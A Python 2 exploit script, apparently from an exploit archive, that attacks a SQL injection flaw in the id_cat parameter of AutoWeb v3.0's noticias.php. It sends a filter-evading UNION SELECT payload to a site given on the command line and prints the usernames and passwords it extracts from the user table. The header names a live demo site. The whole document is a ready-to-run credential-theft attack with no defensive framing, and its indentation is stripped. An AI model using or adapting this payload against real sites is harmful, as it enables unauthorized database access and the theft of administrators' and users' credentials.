#!/usr/bin/env python
#-*- coding:utf-8 -*-
# Title : AutoWeb v3.0 (noticias.php id_cat) SQL Injection Exploit
# Author : ZoRLu / zorlu@milw00rm.com / submit@milw00rm.com
# Home : http://milw00rm.com / its online
# Download : http://www.multdivision.com.br
# Demo : http://www.cbnmogi.com.br
# Other Vuln. : http://www.1337day.com/exploit/22697 / thks: Felipe Andrian Peixoto
# date : 28/09/2014
# Python : V 2.7
# Thks : exploit-db.com, packetstormsecurity.com, securityfocus.com, sebug.net and others
import sys, urllib2, re, os, time
if len(sys.argv) < 2:
os.system(['clear','cls'][1])
print " ____________________________________________________________________"
print "| |"
print "| AZoRLuutoWeb v3.0 (noticias.php id_cat) SQL Injection Exploit |"
print "| ZoRLu / milw00rm.com |"
print "| exploit.py http://site.com/path/ |"
print "|____________________________________________________________________|"
sys.exit(1)
koybasina = "http://"
koykicina = "/"
sitemiz = sys.argv[1]
if sitemiz[-1:] != koykicina:
sitemiz += koykicina
if sitemiz[:7] != koybasina:
sitemiz = koybasina + sitemiz
vulnfile = "noticias.php"
sql = "?id_cat=0x90+/*!12345union*/+/*!12345select*/+1,concat(0x3a3a3a,username,0x3a3a3a),concat(0x3b3b3b,senha,0x3b3b3b),4,5,6,7,8,9,10+/*!12345from*/+/*!12345user*/--"
url = sitemiz + vulnfile + sql
print "\nExploiting...\n"
try:
veri = urllib2.urlopen(url).read()
aliver = re.findall(r":::(.*)([0-9a-fA-F])(.*):::", veri)
if len(aliver) > 0:
print "username: " + aliver[0][0] + aliver[0][1] +aliver[0][2]
else:
print "Exploit failed..."
except urllib2.HTTPError:
print "Security!"
try:
veri = urllib2.urlopen(url).read()
aliver = re.findall(r";;;(.*)([0-9a-fA-F])(.*);;;", veri)
if len(aliver) > 0:
print "password: " + aliver[0][0] + aliver[0][1] +aliver[0][2]
print "\nGood Job Bro!"
else:
print "Exploit failed..."
except urllib2.HTTPError:
print "Security!"